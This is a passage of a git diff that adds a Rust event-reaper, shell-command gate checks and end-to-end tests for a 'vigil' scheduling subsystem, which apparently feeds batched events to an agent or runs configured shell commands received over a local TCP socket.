b/src/extras/vigil/reaper.rs @@ -0,0 +1,416 @@ +//! Reaper — drains per-vigil event channels on configurable cadences. +//! Uses `FuturesUnordered` so each vigil reaps independently; one vigil's +//! slow observance doesn't delay another's reap. +#![allow(dead_code)] + +use std::collections::HashMap; +use std::sync::Arc; +use std::sync::Mutex; +use std::sync::atomic::{AtomicBool, Ordering}; + +use futures::StreamExt; +use futures::stream::FuturesUnordered; +use tokio::sync::mpsc; +use tracing::{debug, info, warn}; + +use super::dispatch::build_prompt; +use super::rite::evaluate_rite; +use super::types::{ + CoalescedBatch, RiteResult, TriggerKind, VigilEvent, VigilReapInput, VigilStatusInfo, +}; + +/// Context passed to the agent executor for an observance. +#[derive(Debug, Clone)] +pub struct Observance { + pub vigil_name: String, + pub prompt: String, + pub context: serde_json::Value, + pub event_count: usize, + pub running: std::sync::Arc, +} + +/// Run the reaper loop. Drains events from all active vigils, coalesces them +/// per reap window, runs rite gates, and produces `Observance`s. +/// Observances are sent to `observance_tx` for the vigil-keeper to dispatch. +pub async fn run_reaper( + vigils: Vec, + observance_tx: mpsc::Sender, + mut ctl_rx: mpsc::Receiver, + wake_tx: Option>, + senders: HashMap>, + hook_tx: mpsc::Sender, + initial_paused: std::collections::HashSet, +) { + type ReapTask = tokio::task::JoinHandle<(String, Vec, mpsc::Receiver)>; + let mut reap_tasks: FuturesUnordered = FuturesUnordered::new(); + + // Lookup maps for metadata accessed in the reap-results arm. + let running: HashMap> = vigils + .iter() + .map(|v| (v.name.clone(), v.running.clone())) + .collect(); + let prompt_map: HashMap = vigils + .iter() + .map(|v| (v.name.clone(), v.prompt.clone())) + .collect(); + let rite_map: HashMap> = vigils + .iter() + .map(|v| (v.name.clone(), v.rite.clone())) + .collect(); + let procession_map: HashMap> = vigils + .iter() + .map(|v| (v.name.clone(), v.procession.clone())) + .collect(); + // Infer trigger kind from the vigil config. + let trigger_map: HashMap = + vigils.iter().map(|v| (v.name.clone(), v.trigger)).collect(); + + let mut paused: std::collections::HashSet = initial_paused; + + let reap_interval_map: HashMap = vigils + .iter() + .map(|v| (v.name.clone(), v.reap_interval_secs)) + .collect(); + + let mut rxs: HashMap> = vigils + .into_iter() + .map(|input| (input.name.clone(), input.rx)) + .collect(); + + for (name, &interval) in &reap_interval_map { + let rx = rxs.remove(name).expect("receiver for every reap input"); + let name = name.clone(); + reap_tasks.push(tokio::spawn(async move { + reap_interval(name, interval, rx).await + })); + } + + // Per-vigil reap statistics, updated each reap window and exposed via StatusReq. + type ReapStats = HashMap)>; + let reap_stats: Arc> = Arc::new(Mutex::new(HashMap::new())); + + loop { + tokio::select! { + maybe_ctl = ctl_rx.recv() => { + let ctl = match maybe_ctl { + Some(ctl) => ctl, + None => break, // ctl channel closed — keeper dropped + }; + match ctl { + super::types::VigilCtl::Shutdown => { + info!("reaper shutting down"); + break; + } + super::types::VigilCtl::Pause { name } => { + debug!(%name, "reaper pausing vigil"); + paused.insert(name); + } + super::types::VigilCtl::PauseAll => { + debug!("reaper pausing all vigils"); + for name in running.keys() { + paused.insert(name.clone()); + } + } + super::types::VigilCtl::Resume { name } => { + debug!(%name, "reaper resuming vigil"); + paused.remove(&name); + } + super::types::VigilCtl::ResumeAll => { + debug!("reaper resuming all vigils"); + paused.clear(); + } + super::types::VigilCtl::StatusReq { respond_to } => { + let mut statuses = Vec::new(); + let stats = reap_stats.lock().unwrap(); + for (name, run_flag) in &running { + let trigger = trigger_map.get(name).copied().unwrap_or(TriggerKind::Toll); + let interval = reap_interval_map.get(name).copied().unwrap_or(0); + let (count, ts) = stats.get(name).copied().unwrap_or((0, chrono::Utc::now())); + statuses.push(VigilStatusInfo { + name: name.clone(), + trigger, + reap_interval_secs: interval, + running: run_flag.load(std::sync::atomic::Ordering::Relaxed), + paused: paused.contains(name), + last_event_count: count, + last_event_at: Some(ts.to_rfc3339()), + }); + } + let _ = respond_to.send(statuses); + } + } + } + Some(result) = reap_tasks.next() => { + match result { + Ok((vigil_name, events, rx)) => { + // Re-spawn this vigil's reap task so it keeps reaping on + // its cadence instead of stopping after the first window. + let interval = reap_interval_map + .get(&vigil_name) + .copied() + .unwrap_or(0); + let next_name = vigil_name.clone(); + reap_tasks.push(tokio::spawn(async move { + reap_interval(next_name, interval, rx).await + })); + + if events.is_empty() { + continue; + } + + // Track event count and timestamp for the panel indicator. + { + let mut stats = reap_stats.lock().unwrap(); + stats.insert(vigil_name.clone(), (events.len(), chrono::Utc::now())); + } + + if paused.contains(&vigil_name) { + warn!(%vigil_name, "skipping reap — vigil paused"); + continue; + } + + // Check if an observance is already running for this vigil. + let run_flag = running.get(&vigil_name).cloned(); + if let Some(ref flag) = run_flag + && flag.load(Ordering::SeqCst) + { + warn!(%vigil_name, "skipping reap — observance in flight"); + continue; + } + + let trigger = trigger_map + .get(&vigil_name) + .copied() + .unwrap_or(TriggerKind::Toll); + + // Dispatch on-vigil-reap hook pre-rite. + let reap_ctx = format!( + "@{{:vigil \"{}\" :event_count {} :trigger :{}}}", + vigil_name, + events.len(), + trigger.as_str() + ); + let _ = hook_tx.try_send( + super::types::HookDispatchRequest { + hook_name: "on-vigil-reap".into(), + context: reap_ctx, + }, + ); + + // Rite gate check — skip observance if the rite fails. + let (rite_output, rite_exit_code) = + if let Some(Some(rite)) = rite_map.get(&vigil_name) { + match evaluate_rite(rite).await { + RiteResult::Pass { output, exit_code } => { + (output, exit_code) + } + RiteResult::Fail { reason } => { + warn!(%vigil_name, %reason, "rite gate failed, skipping observance"); + continue; + } + } + } else { + (None, None) + }; + + // Commands-mode harbinger: execute the resolved shell + // command directly — no agent turn, no LLM cost. The rite + // gate above still applies. + if let Some(commands) = extract_resolved_commands(&events) { + for command in commands { + info!(%vigil_name, %command, "commands-mode dispatch"); + match tokio::process::Command::new("sh") + .arg("-c") + .arg(&command) + .output() + .await + { + Ok(output) => { + let stdout = + String::from_utf8_lossy(&output.stdout); + let code = output.status.code().unwrap_or(-1); + info!( + %vigil_name, + exit_code = code, + stdout = %stdout.trim(), + "commands-mode dispatch finished" + ); + } + Err(e) => { + warn!(%vigil_name, %command, "commands-mode dispatch failed: {e}"); + } + } + } + continue; + } + + let batch = CoalescedBatch::from_events( + vigil_name.clone(), + trigger, + &events, + rite_output, + rite_exit_code, + ); + + let prompt_template = prompt_map + .get(&vigil_name) + .map(|s| s.as_str()) + .unwrap_or(""); + let prompt = if prompt_template.is_empty() { + String::new() + } else { + build_prompt(prompt_template, &batch) + }; + + // Skip if the prompt still has unresolved {placeholders} + // — happens when the batch has only toll ticks and the + // template expects plugin-emitted context (job, etc.). + // Use a regex to match only template-variable patterns like + // {job} or {build_number}, not JSON object braces from + // substituted {harbinger_data} values. + if !prompt.is_empty() { + static RE: std::sync::LazyLock = + std::sync::LazyLock::new(|| { + regex::Regex::new(r"\{[a-zA-Z_][a-zA-Z0-9_]*\}").unwrap() + }); + if RE.is_match(&prompt) { + warn!(%vigil_name, "skipping observance — prompt has unresolved placeholders"); + continue; + } + } + + let context = coalesce_events(&events); + + // Mark in-flight so overlapping reaps for this vigil are skipped. + if let Some(ref flag) = run_flag { + flag.store(true, Ordering::SeqCst); + } + + let running_flag = run_flag.unwrap_or_else(|| { + std::sync::Arc::new(std::sync::atomic::AtomicBool::new(false)) + }); + + let observance = Observance { + vigil_name: vigil_name.clone(), + prompt, + context, + event_count: batch.event_count, + running: running_flag.clone(), + }; + + if observance_tx.try_send(observance).is_err() { + // The flag was set above; clear it so this vigil can + // reap again instead of being stuck "in flight" forever. + running_flag.store(false, Ordering::SeqCst); + warn!(%vigil_name, "observance queue full, dropping"); + } else if let Some(ref wt) = wake_tx { + let _ = wt.send(()); + } + + // Procession: inject event into next vigil's queue. + if let Some(Some(next_name)) = procession_map.get(&vigil_name) { + if let Some(next_tx) = senders.get(next_name) { + let chain_event = VigilEvent { + vigil_name: next_name.clone(), + trigger: TriggerKind::Toll, + context: serde_json::json!({ + "procession_from": vigil_name, + "event_count": batch.event_count, + }), + timestamp: chrono::Utc::now(), + }; + if next_tx.try_send(chain_event).is_err() { + warn!(%next_name, from=%vigil_name, + "procession queue full for next vigil"); + } else { + debug!(%next_name, from=%vigil_name, + "procession: injected event into next vigil"); + } + } else { + warn!(%next_name, from=%vigil_name, + "procession target not found among active vigils"); + } + } + } + Err(e) => { + warn!("reap task panicked: {e}"); + } + } + } + } + } +} + +async fn reap_interval( + name: String, + interval_secs: u64, + mut rx: mpsc::Receiver, +) -> (String, Vec, mpsc::Receiver) { + let mut events: Vec = Vec::new(); + let deadline = tokio::time::Instant::now() + std::time::Duration::from_secs(interval_secs); + + loop { + match tokio::time::timeout_at(deadline, rx.recv()).await { + Ok(Some(event)) => { + events.push(event); + // Drain any additional events without blocking. + while let Ok(event) = rx.try_recv() { + events.push(event); + } + } + Ok(None) => break, // Channel closed. + Err(_) => break, // Timeout — reap window elapsed. + } + } + + (name, events, rx) +} + +fn coalesce_events(events: &[VigilEvent]) -> serde_json::Value { + if events.len() == 1 { + return events[0].context.clone(); + } + + let mut files: Vec = Vec::new(); + let mut payloads: Vec = Vec::new(); + + for event in events { + if let Some(fs) = event.context.get("files").and_then(|v| v.as_array()) { + for f in fs { + if let Some(s) = f.as_str() { + files.push(s.to_string()); + } + } + } + payloads.push(event.context.clone()); + } + + serde_json::json!({ + "events": payloads, + "files": files, + "event_count": events.len(), + }) +} + +/// Extract the resolved shell commands from a commands-mode harbinger batch. +/// Returns `None` when no event carries a resolved dispatch (template mode). +fn extract_resolved_commands(events: &[VigilEvent]) -> Option> { + let mut commands = Vec::with_capacity(events.len()); + let mut is_commands_batch = false; + + for event in events { + if let Some(args) = event.context.get("_resolved_args") { + is_commands_batch = true; + match args.get("command").and_then(|c| c.as_str()) { + Some(command) => commands.push(command.to_string()), + None => warn!("commands-mode event missing resolved command"), + } + } + } + + if is_commands_batch { + Some(commands) + } else { + None + } +} diff --git a/src/extras/vigil/rite.rs b/src/extras/vigil/rite.rs new file mode 100644 index 00000000..a1def0c4 --- /dev/null +++ b/src/extras/vigil/rite.rs @@ -0,0 +1,240 @@ +//! Rite gate checks — optional conditions that must pass before an observance runs. +#![allow(dead_code)] + +use crate::config::VigilRite; + +use super::types::RiteResult; + +/// Evaluate a rite gate. If all conditions pass, returns `Pass`. +/// Currently supports: +/// - `cmd`: runs a shell command; 0 exit = pass. +/// - `git_dirty`: fails if the git working tree is dirty. +pub async fn evaluate_rite(rite: &VigilRite) -> RiteResult { + evaluate_rite_in(rite, std::path::Path::new(".")).await +} + +async fn evaluate_rite_in(rite: &VigilRite, dir: &std::path::Path) -> RiteResult { + let mut exit_code: Option = None; + let mut output: Option = None; + + if let Some(ref cmd) = rite.cmd + && !cmd.is_empty() + { + match tokio::process::Command::new("sh") + .arg("-c") + .arg(cmd) + .output() + .await + { + Ok(cmd_output) if cmd_output.status.success() => { + exit_code = cmd_output.status.code(); + let stdout = String::from_utf8_lossy(&cmd_output.stdout); + let trimmed = stdout.trim().to_string(); + if !trimmed.is_empty() { + output = Some(trimmed); + } + } + Ok(cmd_output) => { + let stderr = String::from_utf8_lossy(&cmd_output.stderr); + return RiteResult::Fail { + reason: format!( + "rite cmd '{cmd}' exited {}: {}", + cmd_output.status, + stderr.trim() + ), + }; + } + Err(e) => { + return RiteResult::Fail { + reason: format!("rite cmd '{cmd}' failed: {e}"), + }; + } + } + } + + if rite.git_dirty { + match check_git_dirty(dir).await { + Ok(true) => { + return RiteResult::Fail { + reason: "git working tree is dirty".to_string(), + }; + } + Ok(false) => {} + Err(e) => { + return RiteResult::Fail { reason: e }; + } + } + } + + RiteResult::Pass { output, exit_code } +} + +async fn check_git_dirty(dir: &std::path::Path) -> Result { + let output = tokio::process::Command::new("git") + .arg("-C") + .arg(dir) + .args(["status", "--porcelain"]) + .output() + .await + .map_err(|e| format!("git status failed: {e}"))?; + Ok(!output.stdout.is_empty()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[tokio::test] + async fn test_empty_rite_passes() { + let rite = VigilRite::default(); + let result = evaluate_rite(&rite).await; + assert!(matches!(result, RiteResult::Pass { .. })); + } + + #[tokio::test] + async fn test_rite_cmd_success_passes() { + let rite = VigilRite { + cmd: Some("true".to_string()), + ..Default::default() + }; + let result = evaluate_rite(&rite).await; + assert!( + matches!(result, RiteResult::Pass { .. }), + "expected Pass but got {:?}", + result + ); + } + + #[tokio::test] + async fn test_rite_cmd_failure_fails() { + let rite = VigilRite { + cmd: Some("false".to_string()), + ..Default::default() + }; + let result = evaluate_rite(&rite).await; + assert!( + matches!(result, RiteResult::Fail { .. }), + "expected Fail but got {:?}", + result + ); + } + + #[tokio::test] + async fn test_git_dirty_detects_clean_and_dirty_tree() { + use std::process::Stdio; + + let dir = std::env::temp_dir().join(format!("dirge-vigil-gitdirty-{}", std::process::id())); + let _ = std::fs::remove_dir_all(&dir); + std::fs::create_dir_all(&dir).unwrap(); + + let git = |args: &[&str]| { + tokio::process::Command::new("git") + .arg("-C") + .arg(&dir) + .args(args) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .status() + }; + + git(&["init"]).await.unwrap(); + std::fs::write(dir.join("f.txt"), "a").unwrap(); + git(&["-c", "user.email=t@t", "-c", "user.name=t", "add", "f.txt"]) + .await + .unwrap(); + git(&[ + "-c", + "user.email=t@t", + "-c", + "user.name=t", + "commit", + "-m", + "init", + ]) + .await + .unwrap(); + + let gate = VigilRite { + git_dirty: true, + ..Default::default() + }; + + assert!( + !check_git_dirty(&dir).await.unwrap(), + "fresh commit should be clean" + ); + assert!( + matches!(evaluate_rite_in(&gate, &dir).await, RiteResult::Pass { .. }), + "clean tree should pass the git_dirty gate" + ); + + std::fs::write(dir.join("f.txt"), "b").unwrap(); + assert!( + check_git_dirty(&dir).await.unwrap(), + "modified file should be dirty" + ); + assert!( + matches!(evaluate_rite_in(&gate, &dir).await, RiteResult::Fail { .. }), + "dirty tree should fail the git_dirty gate" + ); + + let _ = std::fs::remove_dir_all(&dir); + } + + #[tokio::test] + async fn test_rite_cmd_and_git_dirty_are_anded() { + use std::process::Stdio; + + let dir = std::env::temp_dir().join(format!("dirge-vigil-andgate-{}", std::process::id())); + let _ = std::fs::remove_dir_all(&dir); + std::fs::create_dir_all(&dir).unwrap(); + + let git = |args: &[&str]| { + tokio::process::Command::new("git") + .arg("-C") + .arg(&dir) + .args(args) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .status() + }; + + git(&["init"]).await.unwrap(); + std::fs::write(dir.join("f.txt"), "a").unwrap(); + git(&["-c", "user.email=t@t", "-c", "user.name=t", "add", "f.txt"]) + .await + .unwrap(); + git(&[ + "-c", + "user.email=t@t", + "-c", + "user.name=t", + "commit", + "-m", + "init", + ]) + .await + .unwrap(); + + let gate = VigilRite { + cmd: Some("echo ok".to_string()), + git_dirty: true, + }; + + assert!( + matches!( + evaluate_rite_in(&gate, &dir).await, + RiteResult::Pass { output: Some(ref out), .. } if out == "ok" + ), + "clean tree and successful cmd should pass" + ); + + std::fs::write(dir.join("f.txt"), "b").unwrap(); + assert!( + matches!(evaluate_rite_in(&gate, &dir).await, RiteResult::Fail { .. }), + "dirty tree must fail even when the cmd succeeds" + ); + + let _ = std::fs::remove_dir_all(&dir); + } +} diff --git a/src/extras/vigil/tests.rs b/src/extras/vigil/tests.rs new file mode 100644 index 00000000..3b39c96a --- /dev/null +++ b/src/extras/vigil/tests.rs @@ -0,0 +1,594 @@ +//! End-to-end tests for the vigil runtime, exercised without the TUI or agent. +//! +//! Each test builds a real `VigilKeeper`, drives a trigger (toll, watcher, or +//! harbinger), and asserts that an observance flows through the reaper with the +//! expected prompt substitution, rite gating, coalescing, procession chaining, +//! and pause/resume behavior. This is the scripted replacement for the manual +//! two-terminal workflow. + +use std::collections::HashMap; +use std::io::Write; +use std::time::Duration; + +use crate::config::{SocketMode, VigilCommand, VigilEntry, VigilRite, VigilTrigger}; + +use super::VigilKeeper; +use super::reaper::Observance; +use super::types::{HookDispatchRequest, TriggerKind, VigilCtl, VigilEvent}; + +fn toll_entry( + name: &str, + interval_secs: u64, + reap_interval_secs: u64, + prompt: &str, + rite: Option, +) -> VigilEntry { + VigilEntry { + name: name.to_string(), + trigger: VigilTrigger::Toll { interval_secs }, + reap_interval_secs, + prompt: prompt.to_string(), + rite, + ..Default::default() + } +} + +fn ok_rite() -> Option { + Some(VigilRite { + cmd: Some("echo ok".to_string()), + ..Default::default() + }) +} + +fn spawn_keeper(entries: Vec) -> VigilKeeper { + VigilKeeper::from_entries(entries, std::collections::HashSet::new()) + .expect("vigil keeper should build") +} + +async fn recv_observance_from( + keeper: &mut VigilKeeper, + name: &str, + timeout: Duration, +) -> Option { + let rx = keeper.observance_rx.as_mut().expect("observance receiver"); + let deadline = tokio::time::Instant::now() + timeout; + loop { + let now = tokio::time::Instant::now(); + if now >= deadline { + return None; + } + match tokio::time::timeout(deadline - now, rx.recv()).await { + Ok(Some(obs)) if obs.vigil_name == name => return Some(obs), + Ok(Some(_)) => continue, + Ok(None) | Err(_) => return None, + } + } +} + +async fn recv_hook( + keeper: &mut VigilKeeper, + hook_name: &str, + timeout: Duration, +) -> Option { + let rx = keeper.hook_rx.as_mut().expect("hook receiver"); + let deadline = tokio::time::Instant::now() + timeout; + loop { + let now = tokio::time::Instant::now(); + if now >= deadline { + return None; + } + match tokio::time::timeout(deadline - now, rx.recv()).await { + Ok(Some(req)) if req.hook_name == hook_name => return Some(req), + Ok(Some(_)) => continue, + Ok(None) | Err(_) => return None, + } + } +} + +fn send_line(port: u16, line: &str) { + let mut stream = + std::net::TcpStream::connect(("127.0.0.1", port)).expect("connect to harbinger"); + stream + .write_all(format!("{line}\n").as_bytes()) + .expect("write to harbinger"); + stream.flush().expect("flush harbinger"); +} + +struct CleanupDir(std::path::PathBuf); + +impl Drop for CleanupDir { + fn drop(&mut self) { + let _ = std::fs::remove_dir_all(&self.0); + } +} + +#[tokio::test(flavor = "multi_thread")] +async fn toll_trigger_fires_observance_with_rite_output() { + let mut keeper = spawn_keeper(vec![toll_entry( + "toll-a", + 1, + 1, + "rite: {rite_output} count: {event_count}", + ok_rite(), + )]); + + let obs = recv_observance_from(&mut keeper, "toll-a", Duration::from_secs(8)) + .await + .expect("toll observance"); + + assert_eq!(obs.vigil_name, "toll-a"); + assert!(obs.event_count >= 1); + assert!(obs.prompt.contains("rite: ok"), "prompt = {}", obs.prompt); + assert!( + obs.prompt.contains(&format!("count: {}", obs.event_count)), + "prompt = {}", + obs.prompt + ); +} + +#[tokio::test(flavor = "multi_thread")] +async fn rite_failure_blocks_observance() { + let failing = Some(VigilRite { + cmd: Some("false".to_string()), + ..Default::default() + }); + let mut keeper = spawn_keeper(vec![toll_entry("rite-fail", 1, 1, "x", failing)]); + + assert!( + recv_observance_from(&mut keeper, "rite-fail", Duration::from_secs(4)) + .await + .is_none(), + "a failing rite must block the observance" + ); +} + +#[tokio::test(flavor = "multi_thread")] +async fn reaper_coalesces_multiple_events_into_one_observance() { + let mut keeper = spawn_keeper(vec![toll_entry("coalesce", 3600, 3, "{event_count}", None)]); + + let tx = keeper.vigils[0].tx.clone(); + for i in 0..3 { + tx.send(VigilEvent { + vigil_name: "coalesce".to_string(), + trigger: TriggerKind::Toll, + context: serde_json::json!({ "kind": "toll", "n": i }), + timestamp: chrono::Utc::now(), + }) + .await + .expect("send vigil event"); + } + + let obs = recv_observance_from(&mut keeper, "coalesce", Duration::from_secs(8)) + .await + .expect("coalesced observance"); + + assert_eq!(obs.event_count, 3); + assert_eq!(obs.prompt, "3"); +} + +#[tokio::test(flavor = "multi_thread")] +async fn watcher_fires_on_file_create() { + let dir = std::env::temp_dir().join(format!("dirge-vigil-watcher-{}", std::process::id())); + let _ = std::fs::remove_dir_all(&dir); + std::fs::create_dir_all(&dir).expect("create watch dir"); + let _cleanup = CleanupDir(dir.clone()); + + let mut keeper = spawn_keeper(vec![VigilEntry { + name: "watch-a".to_string(), + trigger: VigilTrigger::Watcher { + path: dir.display().to_string(), + }, + reap_interval_secs: 1, + prompt: "files: {files}".to_string(), + rite: None, + ..Default::default() + }]); + + tokio::time::sleep(Duration::from_millis(300)).await; + std::fs::write(dir.join("trigger.txt"), "x").expect("write trigger file"); + + let obs = recv_observance_from(&mut keeper, "watch-a", Duration::from_secs(8)) + .await + .expect("watcher observance"); + + assert_eq!(obs.vigil_name, "watch-a"); + assert!( + obs.prompt.contains("trigger.txt"), + "prompt = {}", + obs.prompt + ); +} + +#[tokio::test(flavor = "multi_thread")] +async fn harbinger_template_emits_raw_payload() { + let mut keeper = spawn_keeper(vec![VigilEntry { + name: "harb-template".to_string(), + trigger: VigilTrigger::Harbinger { + address: "127.0.0.1:19190".to_string(), + protocol: "tcp".to_string(), + socket_mode: SocketMode::Template, + commands: HashMap::new(), + }, + reap_interval_secs: 1, + prompt: "data: {harbinger_data}".to_string(), + rite: None, + ..Default::default() + }]); + + send_line(19190, r#"{"message":"hello-template"}"#); + + let obs = recv_observance_from(&mut keeper, "harb-template", Duration::from_secs(8)) + .await + .expect("harbinger template observance"); + + assert_eq!(obs.vigil_name, "harb-template"); + assert!( + obs.prompt.contains("hello-template"), + "prompt = {}", + obs.prompt + ); +} + +#[tokio::test(flavor = "multi_thread")] +async fn harbinger_commands_executes_resolved_command() { + let out_path = std::env::temp_dir().join(format!("dirge-vigil-cmd-{}.txt", std::process::id())); + let _ = std::fs::remove_file(&out_path); + + let mut commands = HashMap::new(); + let mut cmd_args = serde_json::Map::new(); + cmd_args.insert( + "command".to_string(), + serde_json::Value::String(format!("echo {{message}} > {}", out_path.display())), + ); + commands.insert( + "write".to_string(), + VigilCommand { + tool: "bash".to_string(), + args: cmd_args, + }, + ); + + let _keeper = spawn_keeper(vec![VigilEntry { + name: "harb-exec".to_string(), + trigger: VigilTrigger::Harbinger { + address: "127.0.0.1:19192".to_string(), + protocol: "tcp".to_string(), + socket_mode: SocketMode::Commands, + commands, + }, + reap_interval_secs: 1, + prompt: String::new(), + rite: None, + ..Default::default() + }]); + + send_line(19192, r#"{"command":"write","args":{"message":"hello"}}"#); + + // Commands mode emits no observance — poll for the command's side effect. + let deadline = tokio::time::Instant::now() + Duration::from_secs(8); + loop { + match std::fs::read_to_string(&out_path) { + Ok(content) => { + assert_eq!(content.trim(), "hello"); + break; + } + Err(_) if tokio::time::Instant::now() >= deadline => { + panic!("commands-mode dispatch did not execute within 8s"); + } + Err(_) => tokio::time::sleep(Duration::from_millis(50)).await, + } + } + + let _ = std::fs::remove_file(&out_path); +} + +#[tokio::test(flavor = "multi_thread")] +async fn procession_chains_to_next_vigil() { + let a = VigilEntry { + name: "chain-a".to_string(), + trigger: VigilTrigger::Toll { interval_secs: 1 }, + reap_interval_secs: 1, + prompt: "a".to_string(), + procession: Some("chain-b".to_string()), + rite: None, + }; + let b = VigilEntry { + name: "chain-b".to_string(), + trigger: VigilTrigger::Toll { + interval_secs: 3600, + }, + reap_interval_secs: 1, + prompt: "b: {event_count}".to_string(), + rite: None, + ..Default::default() + }; + + let mut keeper = spawn_keeper(vec![a, b]); + + let first = recv_observance_from(&mut keeper, "chain-a", Duration::from_secs(8)) + .await + .expect("chain-a observance"); + assert_eq!(first.vigil_name, "chain-a"); + + let second = recv_observance_from(&mut keeper, "chain-b", Duration::from_secs(8)) + .await + .expect("chain-b observance via procession"); + assert_eq!(second.vigil_name, "chain-b"); + assert_eq!(second.context["procession_from"], "chain-a"); +} + +#[tokio::test(flavor = "multi_thread")] +async fn pause_blocks_and_resume_allows_observance() { + let mut keeper = spawn_keeper(vec![toll_entry("pause-a", 1, 1, "x", None)]); + + keeper + .ctl_tx + .as_ref() + .expect("ctl sender") + .send(VigilCtl::Pause { + name: "pause-a".to_string(), + }) + .await + .expect("send pause"); + tokio::time::sleep(Duration::from_millis(100)).await; + + assert!( + recv_observance_from(&mut keeper, "pause-a", Duration::from_secs(3)) + .await + .is_none(), + "paused vigil must not observe" + ); + + keeper + .ctl_tx + .as_ref() + .expect("ctl sender") + .send(VigilCtl::Resume { + name: "pause-a".to_string(), + }) + .await + .expect("send resume"); + + let obs = recv_observance_from(&mut keeper, "pause-a", Duration::from_secs(6)) + .await + .expect("resumed observance"); + assert_eq!(obs.vigil_name, "pause-a"); +} + +#[tokio::test(flavor = "multi_thread")] +async fn unresolved_placeholder_skips_observance() { + let mut keeper = spawn_keeper(vec![toll_entry("unresolved", 1, 1, "Job: {job}", None)]); + + assert!( + recv_observance_from(&mut keeper, "unresolved", Duration::from_secs(4)) + .await + .is_none(), + "an unresolved template placeholder must skip the observance" + ); +} + +#[tokio::test(flavor = "multi_thread")] +async fn toll_dispatches_event_hook() { + let mut keeper = spawn_keeper(vec![toll_entry("hook-a", 1, 1, "x", None)]); + + let req = recv_hook(&mut keeper, "on-vigil-event", Duration::from_secs(4)) + .await + .expect("on-vigil-event hook"); + + assert_eq!(req.hook_name, "on-vigil-event"); + assert!(req.context.contains("hook-a"), "context = {}", req.context); +} + +#[tokio::test(flavor = "multi_thread")] +async fn rite_empty_stdout_yields_empty_rite_output() { + let silent = Some(VigilRite { + cmd: Some("true".to_string()), + ..Default::default() + }); + let mut keeper = spawn_keeper(vec![toll_entry( + "rite-empty", + 1, + 1, + "out:[{rite_output}]", + silent, + )]); + + let obs = recv_observance_from(&mut keeper, "rite-empty", Duration::from_secs(8)) + .await + .expect("rite-empty observance"); + + assert_eq!(obs.prompt, "out:[]"); +} + +#[tokio::test(flavor = "multi_thread")] +async fn rite_success_exposes_exit_code_in_prompt() { + let mut keeper = spawn_keeper(vec![toll_entry( + "rite-exit", + 1, + 1, + "exit:{rite_exit_code}", + ok_rite(), + )]); + + let obs = recv_observance_from(&mut keeper, "rite-exit", Duration::from_secs(8)) + .await + .expect("rite-exit observance"); + + assert_eq!(obs.prompt, "exit:0"); +} + +#[tokio::test(flavor = "multi_thread")] +async fn watcher_fires_on_file_modify() { + let dir = std::env::temp_dir().join(format!("dirge-vigil-watchmod-{}", std::process::id())); + let _ = std::fs::remove_dir_all(&dir); + std::fs::create_dir_all(&dir).expect("create watch dir"); + let _cleanup = CleanupDir(dir.clone()); + + let mut keeper = spawn_keeper(vec![VigilEntry { + name: "watch-mod".to_string(), + trigger: VigilTrigger::Watcher { + path: dir.display().to_string(), + }, + reap_interval_secs: 1, + prompt: "files: {files}".to_string(), + rite: None, + ..Default::default() + }]); + + tokio::time::sleep(Duration::from_millis(300)).await; + let file = dir.join("mod.txt"); + std::fs::write(&file, "a").expect("create file"); + tokio::time::sleep(Duration::from_millis(100)).await; + std::fs::write(&file, "b").expect("modify file"); + + let obs = recv_observance_from(&mut keeper, "watch-mod", Duration::from_secs(8)) + .await + .expect("watcher modify observance"); + + assert!(obs.prompt.contains("mod.txt"), "prompt = {}", obs.prompt); +} + +#[tokio::test(flavor = "multi_thread")] +async fn watcher_coalesces_multiple_files() { + let dir = std::env::temp_dir().join(format!("dirge-vigil-watchmulti-{}", std::process::id())); + let _ = std::fs::remove_dir_all(&dir); + std::fs::create_dir_all(&dir).expect("create watch dir"); + let _cleanup = CleanupDir(dir.clone()); + + let mut keeper = spawn_keeper(vec![VigilEntry { + name: "watch-multi".to_string(), + trigger: VigilTrigger::Watcher { + path: dir.display().to_string(), + }, + reap_interval_secs: 1, + prompt: "files: {files}".to_string(), + rite: None, + ..Default::default() + }]); + + tokio::time::sleep(Duration::from_millis(300)).await; + std::fs::write(dir.join("a.txt"), "1").expect("write a"); + std::fs::write(dir.join("b.txt"), "2").expect("write b"); + + let obs = recv_observance_from(&mut keeper, "watch-multi", Duration::from_secs(8)) + .await + .expect("watcher multi-file observance"); + + assert!(obs.prompt.contains("a.txt"), "prompt = {}", obs.prompt); + assert!(obs.prompt.contains("b.txt"), "prompt = {}", obs.prompt); +} + +#[tokio::test(flavor = "multi_thread")] +async fn reaper_dispatches_on_vigil_reap_hook() { + let mut keeper = spawn_keeper(vec![toll_entry("reap-hook", 1, 1, "x", None)]); + + let req = recv_hook(&mut keeper, "on-vigil-reap", Duration::from_secs(8)) + .await + .expect("on-vigil-reap hook"); + + assert_eq!(req.hook_name, "on-vigil-reap"); + assert!( + req.context.contains("reap-hook"), + "context = {}", + req.context + ); + assert!( + req.context.contains(":trigger :toll"), + "context = {}", + req.context + ); +} + +#[tokio::test(flavor = "multi_thread")] +async fn in_flight_observance_skips_overlapping_reap() { + let mut keeper = spawn_keeper(vec![toll_entry("inflight", 1, 1, "x", None)]); + + let first = recv_observance_from(&mut keeper, "inflight", Duration::from_secs(8)) + .await + .expect("first inflight observance"); + assert_eq!(first.vigil_name, "inflight"); + + // No UI loop clears the running flag in this harness, so the in-flight guard + // stays set and subsequent reaps are skipped. + assert!( + recv_observance_from(&mut keeper, "inflight", Duration::from_secs(3)) + .await + .is_none(), + "second reap must be skipped while observance is in flight" + ); +} + +#[tokio::test(flavor = "multi_thread")] +async fn vigil_refires_after_inflight_flag_clears() { + let mut keeper = spawn_keeper(vec![toll_entry("refire", 1, 1, "x", None)]); + + let first = recv_observance_from(&mut keeper, "refire", Duration::from_secs(8)) + .await + .expect("first observance"); + + // Simulate the UI post-turn handler releasing the in-flight flag. + first + .running + .store(false, std::sync::atomic::Ordering::SeqCst); + + let second = recv_observance_from(&mut keeper, "refire", Duration::from_secs(8)) + .await + .expect("second observance after release"); + assert_eq!(second.vigil_name, "refire"); +} + +#[tokio::test(flavor = "multi_thread")] +async fn two_vigils_reap_independently() { + let mut keeper = spawn_keeper(vec![ + toll_entry("v-a", 1, 1, "a", None), + toll_entry("v-b", 1, 1, "b", None), + ]); + + let rx = keeper.observance_rx.as_mut().expect("observance receiver"); + let deadline = tokio::time::Instant::now() + Duration::from_secs(8); + let mut seen = std::collections::HashSet::new(); + + while seen.len() 